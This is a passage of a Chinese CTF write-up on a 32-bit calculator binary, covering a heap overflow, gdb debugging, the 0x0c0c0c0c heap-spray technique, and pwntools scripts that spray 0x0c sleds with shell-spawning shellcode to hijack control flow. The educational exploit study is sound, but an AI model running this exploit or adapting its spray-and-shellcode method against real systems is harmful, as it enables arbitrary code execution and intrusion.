  printf("isprint %d\n", (*v9)[s] & 0x4000);
  v10 = __ctype_b_loc();
  printf("ispunct %d\n", (*v10)[s] & 4);
  v11 = __ctype_b_loc();
  printf("isspace %d\n", (*v11)[s] & 0x2000);
  v12 = __ctype_b_loc();
  printf("isupper %d\n", (*v12)[s] & 0x100);
  v13 = __ctype_b_loc();
  printf("isxdigit %d\n", (*v13)[s] & 0x1000);
  v14 = __ctype_b_loc();
  printf("isblank %d\n", (*v14)[s] & 1);
  return 0;
}

所以本题的(*__ctype_b_loc())[*s1] & 0x800其实就是isdigit(s1),判断一下拆分出来的字符是不是数字的字符。故整理表格如下,可以看出要注意flag存储是小端两个字节:

function flag source comment
isblank 0x0001 _ISblank = _ISbit(8) Blank (usually SPC and TAB)
iscntrl 0x0002 _IScntrl = _ISbit(9) Control character
ispunct 0x0004 _ISpunct = _ISbit(10) Punctuation
isalnum 0x0008 _ISalnum = _ISbit(11) Alphanumeric
isupper 0x0100 _ISupper = _ISbit(0) UPPERCASE
islower 0x0200 _ISlower = _ISbit(1) lowercase
isalpha 0x0400 _ISalpha = _ISbit(2) Alphabetic
isdigit 0x0800 _ISdigit = _ISbit(3) Numeric
isxdigit 0x1000 _ISxdigit = _ISbit(4) Hexadecimal numeric
isspace 0x2000 _ISspace = _ISbit(5) Whitespace
isprint 0x4000 _ISprint = _ISbit(6) Printing
isgraph 0x8000 _ISgraph = _ISbit(7) Graphical

漏洞:堆溢出

本题有两个漏洞点,这里只分析堆溢出,整数溢出的漏洞参考冠成师傅的Writeup

在main函数中的输入逻辑:

while ( 1 )
{
   memset(s, 0, sizeof(s));
   printf("> ");
   if ( !fgets(s, 256, stdin) )
   break;
   v11 = strrchr(s, 10);
   if ( v11 )
   *v11 = 0;
   sub_8048BC1(s);
}

可以看到这里我们可以输入255个字符,然后输入的表达式会被解析,运算数与运算符会被封装成结构体,并把每个结构体的的地址保存到两个大小为0x84的堆空间中,在32位系统中,申请0x84大小的堆块的真正可用空间大小是0x84,按照每个地址占用4个字节计算,两个堆块分别能保存33(0x84/4)个结构体指针。不过我们可以发现在sub_8048BC1函数中保存结构体指针时,调用了sub_804A8B5这个函数:

_DWORD *__cdecl sub_804A8B5(_DWORD *a1, int a2)
{
  _DWORD *result; // eax

  ++*a1;
  result = a1;
  a1[*a1 + 1] = a2;
  return result;
}

所以保存数据结构体指针的0x84的堆空间的第一个位置是元素个数,然后是一个空位,从第三个位置才真正的开始保存结构体指针,故这个堆块最多只能保存31个结构体指针。但是我们可以输入的是255字节,如果我们用空格分开是完全可以输入超过31个数据元素的,故这里存在一个堆溢出:a1[*a1 + 1] = a2;,根据main函数中的堆空间申请顺序,保存运算数结构体指针的堆空间紧接着就是保存运算符结构体指针的堆空间,在处理我们输入的函数sub_8048BC1中第二个部分:

 while ( !sub_804A8D7(dword_804D0AC) )
  {
    v26 = sub_804A88E(dword_804D0AC);
    (*(void (**)(void))(v26 + 8))();
  }

首先会判断dword_804D0AC指向的运算符结构体指针的堆空间是否为空,如果非空则继续调用如下:

int __cdecl sub_804A88E(_DWORD *a1)
{
  return a1[(*a1)-- + 1];
}

运算数结构体指针的堆空间相同,第一个位置是个数的索引,如果我们输入超过32个数据元素将会溢出到这里(第32个溢出到下一个chunk的size,第33个溢出到个数的索引),导致数组越界。我们来看一下是否会触发崩溃呢?

➜  python -c "print '1 '*32 " | ./calc
> 1
> %    

➜  python -c "print '1 '*33 " | ./calc
> [1]  36768 done                              python -c "print '1 '*33 " | 
       36769 segmentation fault (core dumped)  ./calc

果然崩溃,调试一下:

  python -c "print '1 ' * 33"
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 
  gdb -q ./calc 
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 7.11.1 using Python engine 3.5
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./calc...(no debugging symbols found)...done.
gef  r
Starting program: /mnt/hgfs/桌面/pwn/pwnhub/calc/calc 
> 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
.
Program received signal SIGSEGV, Segmentation fault.
0x0804a89c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0804e0a8    0x0804f058    0x0804f070    0x00000000
$ebx   : 0x0       
$ecx   : 0x0       
$edx   : 0x0804f058    0x0804f070    0x00000000
$esp   : 0xffffcd68    0x00000000
$ebp   : 0xffffcd78    0xffffcdd8    0xffffcf08    0x00000000
$esi   : 0xf7fb1000    0x001b1db0
$edi   : 0xf7fb1000    0x001b1db0
$eip   : 0x0804a89c     mov eax, DWORD PTR [eax+edx*4+0x4]
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcd68+0x0000: 0x00000000	  $esp
0xffffcd6c+0x0004: 0x00000000
0xffffcd70+0x0008: 0x00000000
0xffffcd74+0x000c: 0x00000000
0xffffcd78+0x0010: 0xffffcdd8    0xffffcf08    0x00000000	  $ebp
0xffffcd7c+0x0014: 0x080493b6     add esp, 0x10
0xffffcd80+0x0018: 0x0804e0a8    0x0804f058    0x0804f070    0x00000000
0xffffcd84+0x001c: 0x0804ac54     and BYTE PTR [eax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804a892                  in     al, dx
    0x804a893                  adc    BYTE PTR [ebx+0x108b0845], cl
    0x804a899                  mov    eax, DWORD PTR [ebp+0x8]
   0x804a89c                  mov    eax, DWORD PTR [eax+edx*4+0x4]
    0x804a8a0                  mov    DWORD PTR [ebp-0x4], eax
    0x804a8a3                  mov    eax, DWORD PTR [ebp+0x8]
    0x804a8a6                  mov    eax, DWORD PTR [eax]
    0x804a8a8                  lea    edx, [eax-0x1]
    0x804a8ab                  mov    eax, DWORD PTR [ebp+0x8]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "calc", stopped 0x804a89c in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804a89c  mov eax, DWORD PTR [eax+edx*4+0x4]
[#1] 0x80493b6  add esp, 0x10
[#2] 0x8048bb9  add esp, 0x10
[#3] 0xf7e17637  __libc_start_main(main=0x80488cb, argc=0x1, argv=0xffffcfb4, init=0x804aba0, fini=0x804ac00, rtld_fini=0xf7fe8880 <_dl_fini>, stack_end=0xffffcfac)
[#4] 0x8048791  hlt 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef  

崩溃到这句:

0x804a89c                  mov    eax, DWORD PTR [eax+edx*4+0x4]

可以计算出应该去访问到0x2818a20c这个内存了

>>> eax=0x0804e0a8
>>> edx=0x0804f058
>>> hex(eax+edx*4+0x4)
'0x2818a20c'

不过可以0x2818a20c看到这个内存还没有映射,所以崩溃了

gef  vmmap
[ Legend:  Code | Heap | Stack ]
Start      End        Offset     Perm Path
0x08048000 0x0804c000 0x00000000 r-x /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x0804c000 0x0804d000 0x00003000 r-x /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x0804d000 0x0804e000 0x00004000 rwx /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x0804e000 0x0806f000 0x00000000 rwx [heap]
0xf7dfe000 0xf7dff000 0x00000000 rwx 
0xf7dff000 0xf7faf000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb1000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb2000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7fb2000 0xf7fb5000 0x00000000 rwx 
0xf7fd3000 0xf7fd4000 0x00000000 rwx 
0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

利用

分析控制流

可以看到如果在没有溢出的情景下,之后是会有一个函数指针的调用:

while ( !sub_804A8D7(dword_804D0AC) )
{
  v26 = sub_804A88E(dword_804D0AC);
  (*(void (**)(void))(v26 + 8))();
}

如果能控制v26的值,则可能劫持控制流,具体如下:

  1. v26就是[eax+edx*4+0x4]
  2. *(v26+8)v26+8处的内存的4个字节
  3. (*(v26 + 8))()为根据上面的4个字节寻址的内存地址进行函数调用

以刚才的溢出举例:

  1. v26就是*(0x2818a20c)
  2. *(v26+8)就是*(*(0x2818a20c)+8)
  3. 故只要修改*(0x2818a20c)+8处为目标地址即可完成控制流劫持

扩大堆空间

在以上的例子里,如果能让0x2818a20c这个地址是可以访问的,则可以进行调试分析,有没有办法完成呢?我们知道堆空间如果不够用了,malloc背后的机制就会再去管操作系统要空间,通过brk或者mmap系统调用来扩展堆空间。所以如果我们能一直扩大堆空间,就有可能使得0x2818a20c这个虚拟地址是被映射的。那么我们能不能一直扩大堆空间呢?在本题中我们发现,乘法函数sub_8049A0E

unsigned int sub_8049A0E()
{
  ...
        else if ( !strcmp(*(v8 + 4), "str") && !strcmp(*(v7 + 4), "int") )
        {
          v6 = *(v7 + 8);
          dest = calloc(*(v8 + 12) * v6 + 1, 1u);
          v9 = dest;
          if ( !dest )
          {
            puts("memory error.");
            exit(-1);
          }
          while ( v6-- )
          {
            memcpy(dest, *(v8 + 8), *(v8 + 12));
            dest += *(v8 + 12);
          }
          v3 = sub_804A764(byte_804AC65, v9);
          sub_804A8B5(dword_804D0B4, v3);
        }
  ...
}

该函数在处理字符串与整型的乘法时,会在堆上分配大小为:字符串长度乘以整型数值的堆空间,且不会free。故通过不断的输入一个较长的字符串与较大的数值的乘法即可不断扩大堆空间,不过在尝试之前我们先进行一下简单的估算,因为在Pwn题目中关心数量级一般是字节,不过其实要分配这么多的空间已经应该用M来计算了。仍然采用刚才的例子:

>>> 0x2818a20c-0x0804e000
538165772
>>> (0x2818a20c-0x0804e000)/(1024 * 1024)
513

估算下来是538165772字节,513M,看到这个数据量是很大的,我们来尝试一下,使用大约600M的数据来完成堆空间的扩大,并将断点打到sub_804A88E函数越界取值时,然后触发堆溢出导致的数组越界:

from pwn import *
context(arch="i386", os="linux")
elf = ELF("./calc")
io = process(elf.path)
payload = '"a" * 100000'
for i in range(6000):
   io.sendlineafter("> ",payload)
gdb.attach(io,'b * 0x0804A89C\nc')
io.recvuntil(">")
io.sendline("1 "*33)
io.interactive()

断下时调试器结果如下,可以看到当前edx值很大:

Breakpoint 1, 0x0804a89c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x086d40a8    0x5001d2d8    0x5001d2f0    0x00000000
$ebx   : 0x0       
$ecx   : 0x0       
$edx   : 0x5001d2d8    0x5001d2f0    0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804a892                  in     al, dx
    0x804a893                  adc    BYTE PTR [ebx+0x108b0845], cl
    0x804a899                  mov    eax, DWORD PTR [ebp+0x8]
   0x804a89c                  mov    eax, DWORD PTR [eax+edx*4+0x4]
    0x804a8a0                  mov    DWORD PTR [ebp-0x4], eax

另外看一下当前堆空间的布局:

gef  vmmap
[ Legend:  Code | Heap | Stack ]
Start      End        Offset     Perm Path
0x08048000 0x0804c000 0x00000000 r-x /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x0804c000 0x0804d000 0x00003000 r-x /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x0804d000 0x0804e000 0x00004000 rwx /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x086d4000 0x5003d000 0x00000000 rwx [heap]

可以看到完全超过了我们刚才的预期,不过堆空间的确扩大了。

调试劫持EIP

不过当前的edx有些大,而且可见每次的edx其实就是在堆空间的最后,算出的eax+edx*4+0x4肯定不会还落在0x2818a20c这个附近,不过这里有一个巧合:

>>> eax = 0x086d40a8
>>> edx = 0x5001d2d8
>>> hex(eax+edx*4+0x4)
'0x148748c0c'

最后的结果是超出了32字节的,所以取值的时候会去0x48748c0c取值,是不是这样呢?我们测试一下,我们在gdb里修改这里的内存,然后看eax的结果:

gef  x /4wx 0x48748c0c
0x48748c0c:	0x61616161	0x61616161	0x61616161	0x61616161
gef  set *0x48748c0c = 0x11223344
gef  x /4wx 0x48748c0c
0x48748c0c:	0x11223344	0x61616161	0x61616161	0x61616161
gef  ni
0x0804a8a0 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x11223344    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"

果然eax被控制了,eax就是之后这个函数的返回,也就是v26,至此我们已经通过调试控制了v260x11223344,通过刚才的分析我们只要修改v26 + 8的内存地址,应该即可完成控制流劫持,我们继续尝试:

gef  x /4wx 0x1122334c
0x1122334c:	0x61616161	0x61616161	0x61616161	0x61616161
gef  set *0x1122334c = 0xdeadbeef
gef  x /4wx 0x1122334c
0x1122334c:	0xdeadbeef	0x61616161	0x61616161	0x61616161
gef  b * 0x080493C2
Breakpoint 2 at 0x80493c2
gef  c

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0xdeadbeef  
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80493b5                  add    BYTE PTR [ebx+0x458910c4], al
    0x80493bb                  lock   mov eax, DWORD PTR [ebp-0x10]
    0x80493bf                  mov    eax, DWORD PTR [eax+0x8]
   0x80493c2                  call   eax
    0x80493c4                  mov    eax, ds:0x804d0ac
gef  ni

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0xdeadbeef
$eip   : 0xdeadbeef
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "calc", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────

不过就算没有这个巧合,还是能控制edx尽量较小,只要通过在开始时通过var语法定义一个变量,然后在最后触发溢出的时候使用最开始定义的变量即可把v26弄的小一点,可以自行实验。

堆喷

以上是我们通过调试完成了控制流的劫持,其中我们需要知道堆上的一些地址,并且能精准的控制堆上的内存才可以完成劫持,本题中我是无法通过攻击执行刚才调试过程中的gdb指令的,那是否还能做到利用呢?堆喷思想在glibc pwn中的应用,这篇文章开篇的部分介绍了堆喷,提到了一个特殊的地址0c0c0c0c

为什么是0c0c0c0c

image

i春秋课程: CTF PWN选手的养成

想象这样一种情景: *(0x0c0c0c0c) = 0x0c0c0c0c,那么无论我劫持了一个几级指针,最终解引用都会回到0x0c0c0c0c:

*ptr = 0x0c0c0c0c0
*(*ptr) = 0x0c0c0c0c0
*(*(*ptr)) = 0x0c0c0c0c0
*(*(*(*ptr))) = 0x0c0c0c0c0
...

那一定是0c0c0c0c么?想象:*(0x58585858) = 0x58585858,那么:

*ptr = 0x58585858
*(*ptr) = 0x58585858
*(*(*ptr)) = 0x58585858
*(*(*(*ptr))) = 0x58585858
...

故这其实是一种数学上的性质,这种循环是抗的住多级的解引用的。那为什么很多文章都提0x0c0c0c0c呢?因为在x86指令集中0c 0c还是or al,0x0c指令,是对除了eax寄存器之外无任何影响的指令,类似于nop指令,常在shellcode中作为滑板功能:

.text:080493C2 90      		nop
.text:080493C3 0C 0C   		or      al, 0Ch
.text:080493C5 0C 0C   		or      al, 0Ch

显然如果我们用90909090,这个空间地址太高了,在32位window系统中,这个虚拟地址已经属于内核空间了。故传统意义上的堆喷,狭义的来说就是:

  1. 如可以控制程序只申请不释放,或者在释放前能一次申请到覆盖到目标地址的堆空间,则能扩大堆空间的映射范围,并将大量的恶意数据填入其中
  2. 恶意数据的构成为:大量0x0c0c0c0c+shellcode,这样结果大概率满足*(0x0c0c0c0c) = 0x0c0c0c0c
  3. 当我们能劫持的控制流的数据无论为多少级指针,都可以将该指针劫持到0x0c0c0c0c
  4. 伴随着指针的多级解引用,即使在每次解引用时有一些偏移比如*(ptr + 4),结果仍然一致,因为0x0c0c0c0c的附近都是0x0c0c0c0c
  5. 最后一层解引用完成,EIP跳到0x0c0c0c0c去执行,在关闭 NX(DEP) 保护的情景下,执行流划过滑板指令,最后shellcode执行成功

以上这个过程可以从两个角度理解“喷”:

  1. 我们不断向堆上“喷”恶意数据,恶意数据会向喷漆涂鸦一样残留在堆上
  2. 堆在不断的扩大,在内存上看,堆就像一个从低地址冒出的喷泉,不断的往高地址涨(喷)

而且发现在堆喷中,我们并不需要泄露地址信息,换句话说我们是提前就知道把控制流劫持到哪的,是劫持到一个固定的虚拟地址0x0c0c0c0c,这也是堆喷的一个性质,在无法泄露地址信息的时候,是可以工作的。另外,广义上的堆喷请看:TSCTF 2019 Pwn 薛定谔的堆块

本题利用

故本题我们首先完成经典堆喷射,将0x0c0c0c0c地址处的值覆盖成0x0c0c0c0c,后面在跟上shellcode:

from pwn import *
context(arch="i386", os="linux")
elf = ELF("./calc")
io = process(elf.path)

payload = '"'+asm(shellcraft.sh()).rjust(200,"\x0c")+'" * 500'
for i in range(6000):
   io.sendlineafter("> ",payload)

gdb.attach(io)
io.recvuntil(">")
io.interactive()

查看一下0x0c0c0c0c的内存,可以看到(布局是有概率的,不过大概率是类似的):

gef  x /40wx 0x0c0c0c0c
0xc0c0c0c:	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c
0xc0c0c1c:	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c
0xc0c0c2c:	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c
0xc0c0c3c:	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c
0xc0c0c4c:	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c
0xc0c0c5c:	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c
0xc0c0c6c:	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c	0x0c0c0c0c
0xc0c0c7c:	0x0c0c0c0c	0x0c0c0c0c	0x2f68686a	0x68732f2f
0xc0c0c8c:	0x6e69622f	0x0168e389	0x81010101	0x69722434
0xc0c0c9c:	0xc9310101	0x59046a51	0x8951e101	0x6ad231e1

故我们劫持如下:

v26 = 0x0c0c0c0c
v26+8 = 0xc0c0c14
*(v26+8) = 0x0c0c0c0c

结合之前触发的堆溢出,即可完成最终利用

最终exp

from pwn import *
context(arch="i386", os="linux")
elf = ELF("./calc")
io = process(elf.path)

payload = '"'+asm(shellcraft.sh()).rjust(200,"\x0c")+'" * 500'
for i in range(6000):
   io.sendlineafter("> ",payload)

io.sendline("1 "*33)
io.recvuntil(">")
io.interactive()